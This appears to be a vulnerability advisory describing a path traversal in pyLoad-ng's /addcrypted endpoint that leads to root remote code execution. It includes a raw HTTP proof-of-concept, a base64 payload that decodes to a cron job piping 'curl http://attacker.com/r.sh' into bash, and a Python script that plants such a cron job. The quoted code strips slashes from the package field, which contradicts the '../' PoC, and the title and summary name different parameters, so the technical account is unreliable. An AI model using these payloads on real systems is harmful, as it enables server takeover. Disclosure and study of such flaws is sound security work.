pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

### Summary **Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. ### Details * **Endpoint**: `POST /addcrypted` * **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py` #### Vulnerable Code ```python dlc_path = os.path.join( dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlc_path, mode="wb") as fp: ``` ### PoC ```http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107 package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA== ``` Decoded payload: ```bash * * * * * root curl -s http://attacker.com/r.sh | bash ``` **Send crafted POST** ```python import requests, base64 payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode() requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 }) ``` ### Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Quoted source text, attributed separately from HOL analysis.